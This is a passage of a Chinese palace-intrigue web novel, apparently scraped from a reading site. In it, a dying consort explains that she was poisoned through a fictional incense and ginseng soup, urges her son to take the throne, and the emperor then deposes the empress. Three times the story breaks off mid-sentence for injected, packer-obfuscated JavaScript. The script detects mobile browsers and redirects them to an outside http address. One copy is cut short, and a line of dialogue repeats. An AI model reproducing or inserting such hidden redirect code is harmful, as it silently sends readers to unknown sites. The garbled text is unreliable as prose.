萧彻哽咽道:“母妃的意思是,那幅画和那盅参汤,都有问题?可是那幅画我之前请太医院的院判检查过,除了墨香奇异之外,并无其他特殊之处,那种香对身体并无损伤……至于那盅参汤,崔皇后怎敢如此明目张胆……还为此不惜搭上太子,他们不是最在乎这个储君之位了么?” 姬乐这时在一旁小声啜泣道:“殿下,娘娘是喝了太子送来的参汤才突然毒发的,可奴婢用银针试了残留的参汤,却并没有毒……” 江沉鱼吃吃地笑了起来:“参汤自然没有毒……御膳房的总管是陛下一手提携上来的,崔皇后再如何,手也伸不到那里去……何况她也不会蠢到这样堂而皇之地赐我有毒的参汤,给人留下把柄……” 萧彻像是忽然想到了什么,猛地抬起了头:“母妃,这两样都没有毒,却又都有问题,是不是?” “参汤里必然加了什么,单服无用,但辅之赝品山水图上墨水散发出的异香,便会毒发,所以皇后才会让萧衍将那幅赝品拿走,好不留把柄,母妃,是不是这样……您一定什么都知道了……您告诉我……我求您告诉我……” 他声音带上了哭腔,狠狠攥紧了手,一字一句,恨声道:“他们是不是这样害您的!” 江沉鱼看着他,却慢慢笑了起来:“我的彻儿果真聪明……” 她伸手抚上他的脸,那样肖似自己的眉眼,让她一瞬间生了恍惚:“不愧是我的孩子,不愧是我们兰陵族人的血脉……” "彻儿,宫中视我们为不详,只因我们并非其族类,所以处处受到诋毁,可是母妃要告诉你,我们兰陵族人决不像他们说得那样不堪……” “相反,我们先天便比他们优异,无论是骑射武艺还是胆识谋略,甚至连这一身皮囊,都能为我们所用,来达成我们想要的目的,我实在想不到我们族人有何缺憾,便是实在挑不出不足,才会给我们安一个虚无缥缈的诅咒……呵,魏人何其歹毒……” “没错,皇后利用那幅赝品布局害我之事,我早就知道是怎么回事……墨水上那种奇香,叫做百濯香,百濯香,因其香味持久不散,即便濯洗百次,依旧如故,故而得此名……” “百濯香是一种极为名贵,也极为稀有的香料,皇室也不一定见过,想来那崔皇后必然是机缘巧合下得了此香,在了解其药性后,便打算用在我身上……” “此香有宁神的功效,可若过量,便会使人整日嗜睡,身子惫懒,一时三刻倒也要不了人的性命……只是熏用此香期间,不能服用参汤,两者原本皆无毒,合用却是剧毒,一炷香时间即能要了人的性命……” “她只当这香不常见,我必不认识,太医也识别不出,可偏偏我就是见过,我不但见过,我从前还经常用,只因它的味道好闻,我很喜欢……” 萧彻搭在她肩上的手,手指蜷缩了一下。 “我料得不错,你冠礼之后,陛下仍让你留在宫中,且你冠礼的礼制,不输太子……她到底还是不放心,怕陛下对我们母子的宠爱过甚,终有一日,会危及到他儿子的地位,而一旦我死了,你也会随之失宠,那她便可高枕无忧了……” “所以她坐不住了,冠礼才刚结束,她便急急地让太子送来参汤,滋补养气的参汤,不过是催命断肠的毒药罢了……当今皇后的懿旨,太子亲自送来,我又怎能不喝……” 萧彻只是不可置信地看着她,一开口,声音都有些发颤:“母妃,既然你都知道,你明明知道……你为什么……” 话说到后面,已几乎不能言语,目光有一种极致的哀痛。 江沉鱼却知道他要问什么,轻飘无力地笑了下:“傻孩子,母妃上一次用百濯香,那是多久以前的事了?那时你尚未出生,这么多年过去了,一时记不起药性也是有的……” “直到喝下那盅参汤腹痛不止……而姬乐用银针试验却是无毒,我才想起来……何况皇后的旨意,太子亲往,我又如何能违抗……” 因为说了太多话,江沉鱼忍不住咳嗽起来,她用丝帕掩口,等拿开时,上面已布满血迹,她却只是虚弱地笑了笑:“也好,终于解脱了……我其实早该死了,一个未亡人罢了……在歧国亡国的那一天, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14800825|158405||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就该死了……苟延残喘了这么多年,不过是心愿未了,一口气未散……” 萧彻怔怔地:“母妃你……你说什么……歧国?” 虽然早有怀疑,在她说出她从前便用过百濯香之时。 百濯香既十分珍惜名贵,连皇室都未必能够用上,那寻常的兰陵人怎么可能用过,且频繁地使用此香呢?还恰好是在他未出生之前…… 那么只有一种可能,她便是前朝公主,那个时候前朝尚未覆灭,她仍是金枝玉叶,自然也就有机会接触到百濯香。 只是自己的猜测是一回事,亲耳听到江沉鱼承认,却又是另外一回事。 他还是不敢相信,他的母妃真的是前朝皇室,那他体内,岂非也流着前朝血脉? 原来那些人对他吐露的恶言,并非是污蔑,他真的是前朝余孽。 他一时无法接受。 江沉鱼看着他:“是啊,这么多年,外面不是一直在传,我是前朝歧国的皇室么,母妃告诉你,那不是传言。我便是前朝的歧国公主,前朝歧国皇帝最宠爱的三公主,我的封号便是国号,我生来尊贵,绝不是什么前朝余孽……“ “如今剩下的兰陵族人,大多都是前朝王室,可惜啊,几乎都被屠戮殆尽了,这世上,已经没有几个兰陵人了……” 她的脸上又渐渐浮现出那种浓烈的恨意,萧彻这回看清了,不单单是对皇后与她的两个儿子,而是对整个魏族的恨意:“我恨,我恨他们……” 萧彻心突地一跳,滚动了一下喉结,涩声道:“母妃,您……您爱父皇么?” 江沉鱼怔了一瞬,忽然大笑了起来,仿佛是听到了什么天大的笑话,一双浅色的眼瞳骤然明亮,闪烁着奇异的光芒:“爱?哈哈哈……他隐瞒他的身份,蓄意接近我,利用我灭了我的族人,彻儿,你居然问我爱不爱他?” “我恨不得将他千刀万剐、挫骨扬灰,以告慰我族人的在天之灵!” 萧彻眼睫颤动,只是不愿意相信:“可是您……” “可是我什么?可是我为什么愿意陪在他身边,为他诞育子嗣?” “呵,不过是心愿未成,所以一直忍辱苟且罢了……”她抬眼,一瞬不瞬地看着萧彻,望向他的眼神中,包含了太多复杂的情绪,到底还是隐下最后一丝不忍,归于坚定道:“彻儿,母妃这一生的心愿,可全都系在你的身上了……” “我?” “是啊,我的彻儿……”她抚摸着萧彻的面容,看向他的眼神,就像在看一件满意的作品。 她从知道怀上他的那一刻起,就在心底酝酿了一个疯狂的计划。 她祈祷他是个男孩,这样她就有机会利用他报复魏元帝,报复整个魏族。 从他还未出世时,她就在谋划如何将他打造成一柄最好用、最锋利的匕首,替她一点点划开这魏族的江山图。 让其四分五裂,国不将国。 而如今,宝剑已可出鞘,这把花了十八年精心打造的匕首,比她设想的还要令她满意,她如今唯一要做的,便是助他淬最后一次火。 魏朝皇室男子十八便要加冠,一转眼,已经十八年过去了,萧彻也已经彻底长大了。 他该发挥他的价值了。 15. 第 15 章 江沉鱼灼灼地看向萧彻,眼神中有一种奇异的光芒:“彻儿,我的彻儿,好孩子,母妃今日为皇后母子所害,你一定会为母妃报仇的,是不是?” 萧彻紧紧握住她抚在他脸上的手,眼眶通红,狠声道:“我不会放过皇后的,我一定会找到证据,禀明父皇,让她付出代价!” “傻孩子,那副刘松年的赝品既已被萧衍要回,想必早已毁尸灭迹,你找不到证据的……光凭一盅无毒的参汤,能断得了什么罪呢……没有铁证,是扳不倒她的……” “不,不会的,母妃,你若是出了事,父皇一定会让崔氏为你陪葬!” “即便如此,那又如何……别忘了,害死我的,不仅是崔氏,还有她的两个儿子,彻儿,你若是想为我报仇,最好的方法,便是夺了萧珏的太子之位,这才是真正的诛心之举,比杀了崔氏更解恨,只要你成功继位,到时想怎么为我报仇,不过是你一句话的事……” “彻儿,答应我,为了母妃,你一定要取代萧珏,成为太子,从萧元乾手中接过这原本便该属于我们江家的江山!” “我?”萧彻怔然:“那个位子,我从未想过……我的身份既是前朝……又怎么能……” “怎么不能!”江沉鱼大口大口地喘着气,情绪陡然变得激动:“你是前朝歧国公主唯一的血脉,身上流着两朝皇室的鲜血,有着最尊贵的血统,那位子生来便该属于你,你怎能妄自菲薄!” “我便是要让你继位,我要让他萧氏的子孙后代,世世代代,都流淌着我们江氏的血脉,我要让那些屠戮过我们族人的魏人,永生永世都逃不开江氏的诅咒,这便是他们最大的报应!哈哈哈哈……” “只有你继位,我们江氏,我们兰陵族人,才能拿回属于我们的一切……” “彻儿,答应母妃……这是母妃最后的念想了,难道你要看着母妃死不瞑目么?” 萧彻看着江沉鱼,生平第一次,竟像是从未了解过她一般。 江沉鱼得不到肯定的回复,急促地喘息着,追问道:“彻儿,答应母妃,旁的你可以不在乎,可母妃的仇,你怎么能不报?要想报仇,就只有夺位这一条路……萧珏和萧衍,是崔氏的爪牙,他们三人一并害死了我……你大可不必顾及兄弟之情……” “你忘了你小时候生病,我衣不解带地照顾你,跪在神佛面前祈愿,愿以我的寿命换你平安,你醒来的时候,是怎么跟母妃说的,你说你以后一定事事都听母妃的话,从无违背……难道,你都忘了么……” 萧彻深看了她一眼,欲言又止,眼底情绪几经翻涌,最终也只是平静地问出一句:“母妃,你不爱父皇,那你,爱我么?” 江沉鱼愣了一下,似乎是没料到萧彻会突然发问,问她……这样一个问题。 短暂的错愕过后,她垂下眼帘,轻轻颤动着眼睫,再抬眼时,唇畔很快便浮起笑意:“你是母妃的孩子,身上流淌着江氏的血脉,母妃自然爱你……” 萧彻端详着她的面容,良久之后,到底慢慢微笑起来:“多谢母妃……我答应您。从今天开始,我会不计一切代价,争夺储位。” 江沉鱼一怔,眼前视线渐渐变得模糊,泪水溢满眼眶,她看着眼前不过十八岁的少年,心中到底有过一丝动容:“……母妃走后,你要善自珍重,姬乐便跟着你,她会替母妃好好照顾你、指点你……” “还有,燕骁是母妃为你埋的一步棋,燕家军虽已收编,但他们世代为燕家所统领,唯燕家后人马首是瞻,燕骁如今已取得魏元帝的信任,你要一步步帮他争取外出行军征战的机会,树立军功,他以后会成为你的筹码…… “此外,母妃还给你留了一批前朝死士,号令差遣死士的令牌届时姬乐自会给你……” “母妃最后能为你做的,便是用这条命,帮你铺路……我会跟萧元乾说,是崔皇后害死了我,我死之后,出于对我的愧疚,他一定会尽力弥补你……彻儿,这便是你最好的机会……” 她最后深看了萧彻一眼,里面有一种萧彻读不懂的东西,亏欠、怨恨、得意、喜爱,不忍、不舍、快意…… 这种种变幻的情绪交织在一起,让人如坠迷雾,难以分辨。 一滴泪从她的眼角滚落,她最后只是偏过了头,低声道:“姬乐,请陛下过来……” —— 萧彻失魂落魄地从披香殿出去的时候,迎面正撞上魏元帝发疯似得往里面赶。 他身形踉跄,面上是他从未见过的害怕神色。 那样的绝望与不安。 高高在上的一国之君,向来翻手为云覆手为雨,有着上位者的从容与淡然,他从未见他有如此失态的时候。 萧彻不忍地别过了脸,在门口驻足,不多时,便听里面传来一声撕心裂肺的叫喊。 他浑身止不住地颤抖,倚靠在殿门,身子缓缓滑落,终于失声恸哭。 他知道,他的母妃,薨了。 —— 江沉鱼的离世,像是投入湖面的一粒石子,看似无足轻重,但整个湖面都将泛起涟漪,不再平静。 萧元乾再没了软肋,疯态尽显。 他要废了崔氏。 那幅江沉鱼口中的刘松年赝品,并没有被找到,可这不妨碍萧元乾给崔氏定罪,江沉鱼是喝了那盅参汤才薨逝的,即便参汤无毒,那也是因其虚不受补,引发旧疾,身为皇后,竟连后宫众人的饮食禁忌都不知道,间接害死了贵妃,怎么不算有罪? 虽然判罪的罪词中并没有提到那幅赝品,但宫中没有不透风的墙,崔氏在倾盆大雨下跪在紫宸殿前,苦苦为自己辩白:“陛下,臣妾冤枉啊……是江贵妃自己在一次小宴上说她喜欢刘松年的山水画……” “这么多年,她盛宠不衰,我自知比她不过,与其交恶,不如示好……” “刚好手下的人说新近得了刘松年的山水画,我便做个顺水人情,赐给了江氏,却根本没浸什么百濯香……臣妾连见都没见过这个香又怎么会用它去害人呢……” “刚好手下的人说新近得了刘松年的山水画,我便做个顺水人情,赐予了江氏,却根本没浸什么百濯香……臣妾连见都没见过这个香,又怎么会用它去害人呢……” “至于那盅参汤,也是江氏说她近日身子总觉疲倦,恐是又犯了旧疾,往年喝一盅高丽参熬制的参汤也就好了,只是今年高丽尚未进贡……她这话说完一个月后,高丽便进贡了人参……陛下按份例赏赐我三株……” “她当初既然这么提过,我自然是要赐她的……让珏儿亲自送去,不过是臣妾手下的玲珑跟臣妾说,江氏的儿子左右不能继承大统,江氏亦心知肚明,珏儿总渴望能得到陛下的肯定,不如让珏儿与她多走动走动,或能得她在陛下面前帮他多美言几句……” “至于我让衍儿去收回那幅刘松年的山水,不过是那日玲珑向我谢罪,说当时赐给江氏的那幅山水画是赝品,臣妾羞愧难当,刚好衍儿那会碰巧在臣妾那儿,臣妾便让衍儿亲自去取,顺道赔罪……等拿到了画,臣妾气不过这居然是一幅赝品,自然让人拿去烧了,绝不是想销毁证据啊啊陛下……” “您若是不信,大可以让玲珑过来,一问便知……” 殿门嘎吱一声,发出沉闷粗嘎的声响,被人缓缓从里打开。 崔氏在雨帘中猛地抬头,脸上闪过一丝欣喜,连忙爬跪着往前行进了几步:“陛下,你终于肯来见臣妾了,您还是信臣妾的对不对……” 魏元帝一袭赭色常服,腰佩玉带,由太监撑着伞,居高临下地看着她,眼中是毫不掩饰的厌恶,冷笑道:“玲珑已经畏罪自尽了,又如何过来?” 崔氏满脸错愕,像是被人抽干了力气,一下子瘫软在地:“什……什么……” 她像是终于反应过来,猛地睁大了眼睛:“是玲珑!是她陷害我!对,当初就是她说有什么刘松年的山水画……也是她说她不小心弄错了,献给我的是赝品,每件事都有她,怎么会那么凑巧……一定是有人指使她……是江氏,她是江贵妃的人!” 她跪伏在萧元乾的脚边,攥住他的衣袍一角,神情恍惚,只是不断地重复道:“对,是江氏……是江氏陷害我……她自己不想活了,却要拉我做垫背,她怕自裁会累得萧彻失宠,所以才要嫁祸给我,以此博取陛下您的怜惜,对,一定是这样……” 她抬头哀哀地看向萧元乾,这个她当年一见钟情,想方设法嫁给他的男人。 男人的容貌一如当年那般英挺俊美,看向她的眼神却也如当年一般冰冷漠然。 她哀求道:“臣妾是冤枉的,是江氏陷害的我,陛下明察啊……” 却不想正对上萧元乾一双阴鸷的眼,他抬脚猛地踹在她的胸口:“贱人!你算什么东西,也配提贵妃?朕不许你污蔑她,听清楚了没有!” 那一脚正中心窝,崔氏被狠狠地踢到在地,整个身体向前扑,倒在了水滩中,喉咙深处顿时漫上一阵血腥。 雨越下越大,天地间仿佛只余哗哗的雨声。 脸上一片水渍,早已分不清是雨是泪。 夫妻二十余载,到头来,却只有心口的这一脚,就因为她对他心爱的贵妃出言不敬。 心口处传来一阵密密麻麻的疼痛。 疼,真疼啊…… 她忽然笑了起来,状若癫狂,死死地盯着他道:“萧元乾,你敢这样对我,你怎么敢!你想废了我?别妄想了,玄陇一派的世家们不会同意的,你别忘了,我姓崔,出自博陵崔氏!” “是么?”萧元乾淡淡地笑了起来:“你是出自博陵崔氏不错,可惜,不过是一个不受重视的旁支庶女罢了,当时崔氏嫡女突发恶疾,不能入宫,而崔家一时又找不出合适的人选,于是这皇后的头衔才落到了你的身上,你不过是捡了个现成的便宜,真以为你有多尊贵、多独一无二么?” “世家门阀也远没有你想的那么看重你,他们要的不过是一个出自崔氏的皇后,至于是你,还是别的崔氏女,于他们而言,并无太大区别。” 他的唇角凝了一抹冷意,嗤道:“你若是真有你想得那么重要,他们怎么会让你此刻跪在这大雨中,跟条狗似得在朕面前摇尾乞怜?” “崔婉卿,实话告诉你吧,你在玄陇世家那里,已经成了一颗无用的废子了。” 他深深地一闭眼,眼尾抽动,像是在忍耐着极大的痛苦:“贵妃死了,必 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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崔婉卿只觉背后寒意瘆人。 像是毒蛇蜿蜒绕颈,在耳后缓缓吐信。 她知道,被废只是一个开始。 一旦成了废后,便无人在意她的生死,抑或是生不如死。 必须要有人为江沉鱼的死付出代价,而萧元乾想要的代价,绝不仅仅是废了她这么简单。 在认清这一点后,反倒什么都不顾忌了。 因为知道无论她怎么做,结果都是既定的。 像条狗一样在他面前摇尾乞怜又有什么用呢,他根本不会怜惜你半点。 只因你不是江沉鱼,所以做什么都是徒劳。 崔婉卿忽然大笑了起来,状若癫狂,这般笑了足足有一会儿,才渐渐停下。 她望着萧元乾,一字一句,幽幽地道:“萧元乾,你真可怜啊……” 萧元乾皱眉:“朕可怜?你倒不如可怜可怜你自己,崔婉卿,朕看你真是疯了。” “你不可怜吗?我看你,明明可怜得紧啊!” 她弯起唇角,渐渐露出一种奇异的笑容:“你都知道对不对?你其实什么都知道,我不过是被江沉鱼利用了而已!她是自己不想活了!为什么?其实你心里什么都清楚!这么多年,她在你身边,可有过片刻发自内心的安宁?没有!每一天都在苦苦煎熬……” “如今许是熬不住了,又或者是别的什么原因,谁知道呢,但有一点,她确实是解脱了……” 她看着萧元乾越来越阴沉的脸色,心中反而越觉快意:“你其实什么都清楚,只是不敢承认是不是?你不敢承认贵妃的死根本就是一场彻头彻尾的自裁!” “因为那样,就说明这些年她早就不爱你了,待在你身边的每一天,于她而言,都生不如死,死亡反而成了一种解脱……呃……” “住嘴!”萧元乾猛地伸手掐住了她的喉颈,像是在极力忍耐着某种即将喷涌而出的暴戾情绪,额角青筋凸起,咬牙道:“朕叫你住嘴!” 崔婉卿痛苦地挣扎着,试图推开他的手臂,然而他的力气极大,铁臂一般牢牢地钳制住她,她的挣扎根本是徒劳无功。 呼吸都变得极为费力,眼前也开始变得晕眩,她早已没了力气,却还是挣扎着开口:“我……我说中了你的痛处了,是不是……” “哈哈哈真可怜啊……萧元乾……以为只要费尽心思、为她摘星挽月,就能……就能令她回心转意么……其实她早就死在了十八年前……可笑……你灭了她的国家,杀光了她的族人,居然……居然还妄图她爱你……这真是……天底下……最最可笑之事……” “你……你不过是守了个空壳子过了十八年……我可怜?你难道……不可怜么……高高在上的帝王,其实,也不过是一条被她玩弄于股掌之中的可怜虫罢了……哈哈哈……” “江沉鱼死了……其实……根本就是你害死了她!你才是始作俑者……可你不敢承认,你接受不了她的死,同样接受不了她真正的死因……于是你只能逃避地将她的死推脱给我……只有这样,你才能好过一些,是不是……” “是啊,总要有人为她的死付出代价,这个人自然不可能是死去的江氏,于是……只能是被她利用的我了……哈哈哈,萧元乾,你也只能这样了,只能……发泄在我的身上了……你甚至……不敢怪她……她杀了她自己……你却……只能发泄在我身上……” “贱人,说够了没有?都在胡说八道些什么!”萧元乾呼吸粗重,猛地将人掼置在地上,额头重重地磕在地砖上,崔婉卿终于彻底昏死了过去。 16. 第 16 章 崔氏被废之后,幽静于冷宫,萧元乾下令,不许任何人探望,包括萧珏和萧衍。 江沉鱼以极高的礼制葬于南陵,魏元帝辍朝七日,日行三奠,阖宫上下服缟素。 丧期过后,魏元帝另立新后,一如当时的承诺,新后亦是崔氏女,是崔氏嫡系一脉,身份要比崔婉卿贵重得多,玄陇世家自然十分满意。 这之后便开始照常处理政事,如今他不必再陪江沉鱼,有大把大把的时间做那帮玄陇世家眼中的正事。 他们于是认为魏元帝比以前更为英明睿智了。更加认定兰陵一族有蛊惑人心的本事,江沉鱼一死,魏元帝果真就恢复到了昔年的英明。 随着时间的流逝,所有人都以为江沉鱼的死已经彻底过去了。就像石子掷湖,虽激起圈圈涟漪,却终将归于平静。 —— 颜嘉柔已经有一段时间没见到萧彻了。 她知道他母妃的死对他打击很大,他有好些时日都一个人闷在殿内,闭门不出。 她虽一向与他不对付,但也并不愿见到他如此消沉难过。 终于在即将出孝期的前两天,她在丹凤门至含元殿的甬道上见到了萧彻。 他一身素白缟服,似乎比上回清减了几分。 精致的眉眼间笼上了一层恹色,素白的缟服衬得他整个人愈发冷清。 白衣素服穿在他身上并不显寡淡,反而有种说不出的好看。 她呆呆地看着他,这才想起今日是燕骁班师回朝的日子,必经过丹凤门。 萧彻果然在这等他。 江沉鱼死前一月,适逢漠北作乱,当时漠北出兵不久后,罗利可汗暴毙身亡,新旧可汗交替,本就内患不断,加上如今的漠北之前被岑景焕大将军重创,今非昔比,早已不足为惧,当年岑景焕所率领的是改编后的燕家军,燕家军既熟悉漠北地形,如今再度出师,自然是首选。 只是岑景焕大将军如今远在安州,一时半会倒赶不过来,只不过既派了燕家军去,领兵的是谁,也无关紧要——这是场必赢的仗,派谁去平乱都是捡现成的功劳。 江沉鱼向萧元乾举荐了燕骁。 或许是江沉鱼开口,他向来无有不应,也或许是燕山被夺权,燕家满门被流放已经过去太久,久到他忘记当初这么做的缘由,又或许是燕骁救驾有功,颇得圣心,他早已完全信任,总之,他同意了。 这场仗赢是必然的,只是让人没想到的是,燕骁会赢得这么漂亮。 不过短短三日,便以火攻奇袭之法逼得北漠连连退兵。 如今班师回朝,想必封赏必不会少。 而萧彻一向和燕骁交好,燕骁回来,他多半是要前来相迎的。 萧彻也注意到了她,面无表情,只淡淡地看了她一眼,目光便从她的脸上掠过。 对她的态度竟十分冷淡,冷淡到……就像对待旁的女子一般。 萧彻不笑时,面色是极冷的,气质也更为疏离,仿佛高不可攀的的雪山雾凇,只可远观,不可亵玩。 颜嘉柔咬紧唇瓣,在他经过她身边时轻叫了一声,“萧闻祈……” 萧彻停下脚步:“有事?” “其实也……也没什么,只是我听说贵妃娘娘她……你……你还好么?” 萧彻眼睫几不可察地颤动了一下,苦笑道:“不好又能如何?” “我……你……你也别太伤心了,逝者已矣,这是谁都没有办法改变的事……我小时候爹爹跟我说,每个人最后都会和亲人再度团聚的,所以即便亲人先走一步,也不用太伤心,因为最后还是会在另一个世界与他们团聚,怀揣着这个希望的话,是不是就不会太过悲伤了……” 说完抬眼,正撞进萧彻浅色的瞳仁,他眼底闪过一丝兴味,又仿佛是若有所思。 颜嘉柔眼睫轻颤:“你……你这么看着我做什么?” “没什么,只是觉得你每次安慰我,都是用你爹爹的话——他的话,你倒是记得牢。” 颜嘉柔怔了一下:“……那他总爱跟我说这些为人处事的道理么,说得多了,自然就记住了。” 她试探地问:“那你现在,心里好受些了么?” 萧彻挑眉,目光直直地望向她眼底,浅色的瞳仁晕着日光,有种让人目眩的蛊惑:“我心里好不好受,你很在意?” 颜嘉柔一愣,白玉似的耳垂渐渐红了,磕磕绊绊道:“我……我……才没有……我……我只是……只是随口一问罢了……” “是么?”萧彻向前一步,低头看着她,略扯了唇角,要笑不笑:“不过我倒是很好奇,你向来讨厌我,怎么,如今见我这副不人不鬼的样子,倒不觉痛快……” 他顿了顿,收起了神情,深看了她一眼:“为什么,反而要来安慰?” “我……”颜嘉柔咬着唇瓣,小声嗫嚅道:“我才没有那么坏呢……你虽然总跟我作对,我也一向……一向讨厌你,但仔细想想,那些其实也都是无关紧要的小事,你并没有真的对我怎么样……” “更何况……你还救过我,我也是经历过丧亲之痛的人,你出了这样的事,我怎么可能幸灾乐祸……” 萧彻不说话,只是以一种审视的目光静静地打量着她。 颜嘉柔低垂着头,手指无意识地轻轻拨弄:“其实……其实你也并不是那么讨厌……你要是肯以后多顺着我一点,我们,我们或许可以成为朋友……” 这句话盘桓在她心里已经很久很久了。 她少有跟他和颜悦色的时候,今日既然主动开口安慰他了,索性便也主动低头一回,鼓足勇气将那句话说出了口。 可等了半天也不见萧彻答话,她有些紧张地抬起了头。 萧彻低头看着她,脸上没什么表情,对上她询问的视线,目光冷淡,轻嗤了一声道:“谁要跟你做朋友。” “这种话,你怎么,不跟你的太子哥哥去说?” 他直起身,背手而立,语气冷淡疏离:“好了清河公主,我萧彻从来不需要你的可怜,更不稀罕当你什么劳什子朋友,你要是没别的事,可以回了。” “你!”颜嘉柔不可置信地看着他,一张雪白的脸皮霎时涨得通红——被气得。 小姑娘好不容易鼓足勇气主动低头,对他说些服软的话,还以为两人的关系会有所缓和,结果他居然这样瞧不上她,要说这样的话给她难堪! 气愤过后,便是忍不住的委屈和难过……不知道为什么,心口处竟泛起一种酸涩,像是心脏被牵扯,又有种钝钝得疼。 她只是不明白,萧彻为什么就这么讨厌她呢? 她猛地抬手,然而那一巴掌到底没落下,她只是用尽全力推了他一把,以此泄愤:“萧闻祈,你混蛋!” 岂料萧彻纹丝不动,她自己反而身形不稳,一踉跄,身子往后坠去。 眼见下一刻便要摔倒在地,斜刺里忽然伸出一只手,修长白皙的手指微张,一把搭上她的腰,将人捞了回来,语调散漫:“清河公主再生气,倒也不至于连站都站不稳了吧?还是说故意为之,又要把这笔账算到我头上?” 颜嘉柔一愣,等反应过来后,立刻张牙舞爪地反驳道:“你……你说什么!你说我陷害你?萧闻祈,你不要脸!我是推不动你才会站不稳,而且难道你不知道么,之前骊山狩猎,我腿上受了伤!” 她原本便受了委屈,心里难过,这时情绪一激动,便再难抑制,眼圈泛红,浓睫颤动,当即便坠下泪来。 萧彻原本还要说什么,突然神色一顿,张了张嘴:“你……你哭了?” 颜嘉柔胡乱地抬手擦拭,赌气地一扭头:“没有!” 萧彻喉结滚动,眼帘低垂,轻声道:“抱歉。” 颜嘉柔诧异地转过了脸,唇瓣微张:“萧彻……” 萧彻平静地看着她,牵动唇角,似乎是笑了下:“抱歉,从小到大,总是跟你作对、 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14800827|158405||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 处处欺负你,就像刚才,明明早就做好了决定,但在看到你时还是忍不住。” “不过以后不会了,以后我对你,跟对待那些世家小姐不会有任何不同,我不会再欺负你,与你作对,你可以放心了——所以,不哭了,嗯?” 颜嘉柔眨了眨眼,果然不再哭了,目光却渐渐透出一种迷茫。 萧彻这话是什么意思? 听上去像是在低头服软,他说以后再不会跟她作对,不会再欺负捉弄她了……他说这样的话,她应该感到高兴才对。 可为什么,却并没有她预想中的那么高兴,她要的低头服软,好像并不是这样。 像对待那些世家贵女一般,那不是冷若冰霜,拒人千里,完全不把自己放在眼里么。 这倒是清静了,只是她想要他这么对她么? 她一时也说不上来,只觉得似乎比欺负她要好一些,可这样的萧彻,又好像更让人讨厌。 她脑子一时乱的很,只随口问了句:“……为什么?” 萧彻拇指拭过她眼角的湿意,唇角微勾:“因为,我接下去要做一件危险的事,所以呢,便没功夫找你的不痛快了。” “危险的事?”颜嘉柔蹙眉,下意识地搭上他为她拭泪的手,仰起脸看着他,追问道:“什么危险的事?” 萧彻动作一顿,余光瞥向她,小姑娘的手白白软软的,又那样小,软绵绵地搭在他的指关节上,他眉梢微抬,蜷起手指,在她手心摩挲出细微的痒意,慢慢靠近了她:“怎么?你担心我?” “我……”颜嘉柔眼睫微颤,快速地垂下眼帘:“我不过随口一问罢了……” 萧彻挑眉弯唇:“既然只是随口一问,并不在意,那我不答应该也没什么紧要的吧?” “你!”颜嘉柔气得抬头瞪他:“萧闻祈!怎么会有你这么讨厌的人!” 萧彻无谓地耸了耸肩,笑了下道:“好了,不逗你了,没什么特别的原因,不过是因为我累了,所以不想玩儿了。皇妹,跟你作对十几年了,我也累了,不想再继续了。” 颜嘉柔一噎,万万没想到竟是这个原因,那他们现在算什么,这样……是和好么? 分明不太像,倒更像是,今后老死不相往来…… 正胡思乱想间,不防萧彻突然凑近,仔细观察她的气色,面上倒瞧不出什么:“对了,你方才说,你上次在骊山受的伤,至今仍未痊愈?” 颜嘉柔眼睫忽然颤动了一下, 骊山上受的伤……便是那日被野狐咬了一口,这原本不算什么,可每每想到她被咬之后的反应,和对萧彻做出的种种异常举止,她便觉十分不自在,脸上又仿佛烫了起来。 那日回去之后,倒是一切如常,可是之前发生的种种,总在她脑海中挥之不去,她至今都不知道为什么那时自己会对萧彻那样难以自控……只能归结于那骊山处处透着古怪,她约莫是中邪了。 左右之后没再出现什么异样,她也没再多想。 唯一让她感到不安的是,她脚踝处的伤口一直没能愈合。 不过是被野狐咬了一口,即便伤口略深了一点,可这么多天过去了,照理也该愈合了,为何用了那么多金疮药,却迟迟都不见好呢? 这也就罢了,可眼下,却出现了让她更加不安的事。 那个原本虽未愈合、但已经毫无感觉的伤口,此刻却又泛起了异样的感受。 随着萧彻的突然靠近,若有似无的呼吸倾吐在她脸上,他肤色冷白,气质自有一种冰雪般的冷清,搭在她腰际的大手,手心却有一种灼人的热意……热意沿着她的腰际游移至四肢百骸,催逼出一种磨人的渴念。 是伤口处又开始出现异样了。 仿佛千万只蚂蚁在身上游走,难耐到了极点,身体深处涌现出一种强烈的渴念,亟需尝点什么东西来缓解,却决不是水。 当日骊山上对萧彻滋生出的疯狂渴求又卷土重来。 17. 第 17 章 她的直觉告诉她,萧彻身上有她的解药。 本能驱使她向他越靠越近,他的气息,他的体温……有关于他的一切,仿佛都能安抚她的躁动。 只是…… 萧彻也察觉到了她的异样,见她整个人像是支撑不住,几乎贴在了自己的身上,身子更是又烫又软,显然不正常:“你怎么了?身体不舒服?” “我……”颜嘉柔咬紧唇瓣,疼痛迫使她找回一丝清明:“好像是骊山……骊山的旧伤犯了,伤口突然……很难受……腿……腿软了……” “腿软?”萧彻蹙眉:“那还能走么?” 颜嘉柔枕在他怀里摇了摇头。 萧彻抬眉,只觉今日的颜嘉柔十分反常,许是身子真是难受极了,否则怎么会挨得他这么近,或许也只有生病了,才会这么乖顺。 他搭上她的肩头,微微往外推了推:“松开。我送你回去,帮你传太医。” 